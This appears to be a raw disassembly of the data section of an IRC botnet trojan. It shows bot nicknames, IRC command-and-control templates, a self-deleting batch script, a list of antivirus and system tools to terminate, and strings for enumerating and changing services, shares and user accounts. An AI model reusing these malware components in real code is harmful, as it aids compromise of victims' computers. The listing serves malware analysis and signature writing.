; DATA XREF: .data:00438560o align 4 aAchilles db 'Achilles',0 ; DATA XREF: .data:0043855Co align 10h aKapk db 'kapk',0 ; DATA XREF: .data:00438558o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .data:00438554o align 4 aHayran db 'hayran',0 ; DATA XREF: .data:00438550o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .data:0043854Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: .data:00438548o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: .data:00438544o aAnk32M db 'ANK-32-M',0 ; DATA XREF: .data:00438540o align 4 aUmut db 'umut-',0 ; DATA XREF: .data:0043853Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .data:00438538o align 4 aKumul db 'kumul',0 ; DATA XREF: .data:00438534o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .data:00438530o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .data:0043852Co align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: .data:00438528o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .data:00438524o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .data:00438520o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .data:0043851Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: .data:00438518o aHoly db 'holy',0 ; DATA XREF: .data:00438514o align 10h aFlord db 'FLoRD',0 ; DATA XREF: .data:00438510o align 4 aKebikec db 'kebikec',0 ; DATA XREF: .data:0043850Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .data:00438508o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .data:00438504o align 4 aEmre db 'Emre--',0 ; DATA XREF: .data:00438500o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: .data:004384FCo align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .data:004384F8o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .data:004384F4o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: .data:004384F0o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .data:004384ECo aArda db 'arda',0 ; DATA XREF: .data:004384E8o align 4 aDevran db 'devran',0 ; DATA XREF: .data:004384E4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .data:004384E0o aDenizlim db 'DenizliM',0 ; DATA XREF: .data:004384DCo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .data:004384D8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .data:004384D4o align 10h aBogac db 'bogac',0 ; DATA XREF: .data:004384D0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .data:004384CCo align 4 aAnkh db 'ankh',0 ; DATA XREF: .data:004384C8o align 4 off_438BAC dd offset byte_457441 ; DATA XREF: .data:004384C4o aAyla db 'AYLA-',0 ; DATA XREF: .data:004384C0o align 4 aAlbina db 'albina',0 ; DATA XREF: .data:004384BCo align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: .data:004384B8o align 4 aZack db 'ZACK',0 ; DATA XREF: .data:004384B4o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .data:004384B0o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .data:004384ACo align 4 aAhmet db 'ahmet',0 ; DATA XREF: .data:004384A8o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .data:004384A4o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .data:004384A0o align 4 aRetg db 'RETG',0 ; DATA XREF: .data:0043849Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: .data:00438498o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .data:00438494o aAslii db 'aslii',0 ; DATA XREF: .data:00438490o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: .data:0043848Co aHaticem db 'haticem',0 ; DATA XREF: .data:00438488o aArzu db 'ARZU',0 ; DATA XREF: .data:00438484o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: .data:00438480o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .data:0043847Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .data:00438478o align 10h aTekir db 'tekir',0 ; DATA XREF: .data:00438474o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .data:00438470o align 4 aTrend3 db 'trend3',0 ; DATA XREF: .data:0043846Co align 4 aMelekk db 'melekk',0 ; DATA XREF: .data:00438468o align 4 aAkin db 'AKIN',0 ; DATA XREF: .data:00438464o align 4 aMary_0 db 'MARY',0 ; DATA XREF: .data:00438460o align 4 aJericho db 'JERICHO',0 ; DATA XREF: .data:0043845Co aTolga34 db 'Tolga34',0 ; DATA XREF: .data:00438458o aMisssunday db 'misssunday',0 ; DATA XREF: .data:00438454o align 10h aIrmal db 'irmal',0 ; DATA XREF: .data:00438450o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .data:0043844Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: .data:00438448o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: .data:00438444o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .data:00438440o aKaan38dent db 'kaan38dent',0 ; DATA XREF: .data:0043843Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .data:00438438o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .data:00438434o align 4 aKencing db 'Kencing',0 ; DATA XREF: .data:00438430o aReshma db 'reshma',0 ; DATA XREF: .data:0043842Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: .data:00438428o align 4 aGirl db 'GirL',0 ; DATA XREF: .data:00438424o align 4 aImra db 'imra',0 ; DATA XREF: .data:00438420o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .data:0043841Co align 4 aPuregold db 'puregold',0 ; DATA XREF: .data:00438418o align 4 aKermit db 'kermit',0 ; DATA XREF: .data:00438414o align 4 aManee db 'manee',0 ; DATA XREF: .data:00438410o align 4 aTroller db 'troller',0 ; DATA XREF: .data:0043840Co aLuisa db 'Luisa',0 ; DATA XREF: .data:00438408o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .data:00438404o align 10h aRimpy db 'rimpy',0 ; DATA XREF: .data:00438400o align 4 aJanno db 'janno',0 ; DATA XREF: .data:004383FCo align 10h aBunty db 'bunty',0 ; DATA XREF: .data:004383F8o align 4 aHeval db 'heval',0 ; DATA XREF: .data:004383F4o align 10h aCme db 'cme',0 ; DATA XREF: .data:004383F0o aMarcy db 'marcy',0 ; DATA XREF: .data:004383ECo align 4 aTalika db 'talika',0 ; DATA XREF: .data:004383E8o align 4 aShez db 'Shez',0 ; DATA XREF: .data:004383E4o align 4 aKen db 'ken',0 ; DATA XREF: .data:004383E0o aFlexster db 'flexster',0 ; DATA XREF: .data:004383DCo align 4 aKoko db 'koko',0 ; DATA XREF: .data:004383D8o align 4 aMale db 'male',0 ; DATA XREF: .data:004383D4o align 4 aSwin db 'swin',0 ; DATA XREF: .data:004383D0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .data:004383CCo aKrizha db 'KRIZHA',0 ; DATA XREF: .data:004383C8o align 4 aEmilya db 'emilya',0 ; DATA XREF: .data:004383C4o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .data:004383C0o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .data:004383BCo aFarooq db 'farooq',0 ; DATA XREF: .data:004383B8o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: .data:004383B4o align 4 aM_1: ; DATA XREF: .data:004383B0o ; .data:004386FCo unicode 0, <M>,0 word_438E18 dw 4Eh ; DATA XREF: sub_419E7A+38r ; .data:004383ACo align 4 dword_438E1C dd 42h ; DATA XREF: .data:004383A8o dword_438E20 dd 56h ; DATA XREF: .data:004383A4o dword_438E24 dd 43h ; DATA XREF: .data:004383A0o dword_438E28 dd 58h ; DATA XREF: .data:0043839Co ; .data:00438730o dword_438E2C dd 5Ah ; DATA XREF: .data:00438398o dword_438E30 dd 4Ch ; DATA XREF: .data:00438394o dword_438E34 dd 4Bh ; DATA XREF: .data:00438390o dword_438E38 dd 4Ah ; DATA XREF: .data:0043838Co dword_438E3C dd 48h ; DATA XREF: .data:00438388o dword_438E40 dd 47h ; DATA XREF: .data:00438384o dword_438E44 dd 46h ; DATA XREF: .data:00438380o ; .data:004386F8o dword_438E48 dd 44h ; DATA XREF: .data:0043837Co dword_438E4C dd 53h ; DATA XREF: .data:00438378o dword_438E50 dd 50h ; DATA XREF: .data:00438370o dword_438E54 dd 4Fh ; DATA XREF: .data:0043836Co dword_438E58 dd 55h ; DATA XREF: .data:00438364o word_438E5C dw 59h ; DATA XREF: sub_41A19E+38r ; .data:00438360o align 10h dword_438E60 dd 54h ; DATA XREF: .data:0043835Co dword_438E64 dd 52h ; DATA XREF: .data:00438358o dword_438E68 dd 45h ; DATA XREF: .data:00438354o dword_438E6C dd 57h ; DATA XREF: .data:00438350o dword_438E70 dd 51h ; DATA XREF: .data:0043834Co dword_438E74 dd 62h ; DATA XREF: .data:00438340o ; .data:00438634o ... dword_438E78 dd 78h ; DATA XREF: .data:00438334o ; .data:0043868Co dword_438E7C dd 7Ah ; DATA XREF: .data:00438330o ; .data:00438694o ... dword_438E80 dd 68h ; DATA XREF: .data:00438320o ; .data:0043864Co dword_438E84 dd 67h ; DATA XREF: .data:0043831Co ; .data:00438648o ... dword_438E88 dd 66h ; DATA XREF: .data:00438318o ; .data:00438644o dword_438E8C dd 79h ; DATA XREF: .data:004382FCo ; .data:00438690o dword_438E90 dd 77h ; DATA XREF: .data:004382ECo ; .data:00438688o ; char aNickS_1[] aNickS_1 db 'NICK %s',0Ah,0 ; DATA XREF: sub_4177D0+B1o align 10h ; char a432[] a432 db '432',0 ; DATA XREF: sub_4177D0+79o aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_4177D0+61o align 10h ; char aNickSUserSHotm[] aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BB+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h ; char a__1[] a__1 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADE+BCo ; sub_417ADE+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; char aSErrorSD_[] aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418294+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o ; char aComspecCSS[] aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o align 4 ; char a[] a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41835A+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 ; char aSdel_bat[] aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_41835A+48o align 4 ; char asc_43901C[] asc_43901C db '-' ; DATA XREF: sub_4184E2+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43904C db 2Dh ; - ; DATA XREF: sub_4184E2+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 ; char asc_439074[] asc_439074 db '-' ; DATA XREF: sub_4184E2+5Co db 3, 34h, 2 dd 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h, 65726165h dd 64h off_439090 dd offset aAdd ; DATA XREF: sub_4186C2+60r ; sub_418A99+51r ... ; "Add" off_439094 dd offset aAdded ; DATA XREF: sub_4186C2+2Dr ; sub_418A99+83r ... ; "Added" dword_439098 dd 0 ; DATA XREF: sub_4186C2+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 439104h, 4390FCh, 2, 4390F0h, 4390E4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused_0 db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:004390C4o aStop_0 db 'Stop',0 ; DATA XREF: .data:004390C0o align 4 aStarted db 'Started',0 ; DATA XREF: .data:004390B8o aStart_0 db 'Start',0 ; DATA XREF: .data:004390B4o align 4 aListed db 'Listed',0 ; DATA XREF: .data:004390ACo align 4 aList_1 db 'List',0 ; DATA XREF: .data:004390A8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:004390A0o aDelete_0 db 'Delete',0 ; DATA XREF: .data:0043909Co align 4 aAdded db 'Added',0 ; DATA XREF: .data:off_439094o align 4 aAdd db 'Add',0 ; DATA XREF: .data:off_439090o ; char asc_439158[] asc_439158 db '-' ; DATA XREF: sub_4186C2+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_43917C db 2Dh ; - ; DATA XREF: sub_4186C2+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 ; char asc_4391A8[] asc_4391A8 db '-' ; DATA XREF: sub_4186C2+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 ; char aAnUnknownError[] aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co align 4 ; char aTheSystemIsShu[] aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DE:loc_4188E8o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DE:loc_4188E1o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DE:loc_4188DAo db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DE:loc_4188D3o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DE:loc_4188C5o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DE:loc_4188BEo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DE:loc_4188B7o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DE:loc_41888Co align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DE:loc_418885o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DE:loc_41887Eo db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DE:loc_418877o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DE:loc_41884Co db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DE:loc_418842o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DE:loc_418838o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DE:loc_418824o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co align 10h ; char aSSS_2[] aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_41895C+EBo ; char aStopped[] aStopped db ' Stopped',0 ; DATA XREF: sub_41895C:loc_418A28o aStarting db ' Starting',0 ; DATA XREF: sub_41895C:loc_418A21o aStoping db ' Stoping',0 ; DATA XREF: sub_41895C:loc_418A1Ao aRunning db ' Running',0 ; DATA XREF: sub_41895C:loc_418A13o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895C:loc_418A0Co aPausing db ' Pausing',0 ; DATA XREF: sub_41895C:loc_418A05o aPaused db ' Paused',0 ; DATA XREF: sub_41895C:loc_4189FEo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895C+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895C+25o align 4 ; char asc_4396FC[] asc_4396FC db '-' ; DATA XREF: sub_418A99+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h ; char asc_439720[] asc_439720 db '-' ; DATA XREF: sub_418A99+8Ao db 3, 34h, 2 dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h dd 27h ; char asc_43973C[] asc_43973C db '-' ; DATA XREF: sub_418A99+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 ; char a14s24s6u4s[] a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8F+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8F+B5o ; char asc_439788[] asc_439788 db '-' ; DATA XREF: sub_418C8F+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8F+26o align 4 ; char asc_4397E8[] asc_4397E8 db '-' ; DATA XREF: sub_418DB0+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h ; char asc_439810[] asc_439810 db '-' ; DATA XREF: sub_418DB0+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h ; char asc_439840[] asc_439840 db '-' ; DATA XREF: sub_418DB0+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h ; char asc_439860[] asc_439860 db '-' ; DATA XREF: sub_418EF7+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 ; char aUnitsPerWeekD[] aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o align 4 ; char aMax_StorageD[] aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao align 4 ; char aUserSLanguageD[] aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo ; char aCountryCodeD[] aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o align 4 ; char aWorkstationsS[] aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o align 4 ; char aLogonServerS[] aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo align 4 ; char aLastLogoffD[] aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF7+283o ; char aLastLogonD[] aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF7+258o align 4 ; char aNumberOfLogins[] aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do align 4 ; char aBadPasswordCou[] aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o align 4 ; char aPasswordAgeD[] aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o align 10h ; char aParametersS[] aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF7+1ACo align 10h ; char aHomeDirectoryS[] aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o align 4 ; char aAuthFlagsD[] aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF7+156o align 4 ; char aPrivilegeLevel[] aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF7:loc_419016o align 10h aUser_3 db 'User',0 ; DATA XREF: sub_418EF7:loc_41900Fo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF7:loc_419008o align 4 ; char aCommentS[] aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF7+DAo ; char aUserCommentS[] aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo align 4 ; char aFullNameS[] aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF7+84o align 4 ; char aAccountS[] aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF7+50o ; char aTotalUsersFoun[] aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo align 4 ; char asc_439A1C[] asc_439A1C db '-' ; DATA XREF: sub_4192E0+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 ; char aS_4[] aS_4 db ' %S',0 ; DATA XREF: sub_4192E0+BEo align 10h ; char asc_439A50[] asc_439A50 db '-' ; DATA XREF: sub_4192E0+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o ; char aNetworkConnect[] aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_419460:loc_419544o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_419460+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_419460:loc_41950Bo aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_419460:loc_4194FDo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419460:loc_4194C3o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_419460:loc_4194AFo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo align 4 ; char asc_439D58[] asc_439D58 db '-' ; DATA XREF: sub_419594+ABo db 3, 34h, 2 dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h ; char asc_439D84[] asc_439D84 db '-' ; DATA XREF: sub_419594+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_439DAC dd 7530h ; DATA XREF: sub_419A01+12r off_439DB0 dd offset aRegedit_exe ; DATA XREF: sub_4196BD+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe_0 ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: sub_4196BD+ECo ; .data:00439E0Co align 10h aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:00439E08o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:00439E04o align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:00439E00o align 4 aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:00439DFCo align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:00439DF8o align 10h aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:00439DF4o align 4 aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:00439DF0o align 4 aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:00439DECo aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:00439DE8o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:00439DE4o aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:00439DE0o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:00439DDCo aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00439DD8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00439DD4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00439DD0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:00439DCCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:00439DC8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:00439DC4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:00439DC0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:00439DBCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:00439DB8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:00439DB4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .data:off_439DB0o ; char aSD_0[] aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BD+191o align 4 ; char asc_439F68[] asc_439F68 db '-' ; DATA XREF: sub_4198EC:loc_419973o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_439F8C db 2Dh ; - ; DATA XREF: sub_4198EC+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h ; char asc_439FB0[] asc_439FB0 db '-' ; DATA XREF: sub_4198EC+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 ; char aPrivmsgSS_1[] aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o unk_439FE0 db 2Dh ; - ; DATA XREF: sub_419B10:loc_419C42o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A010 db 2Dh ; - ; DATA XREF: sub_419B10+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_43A038 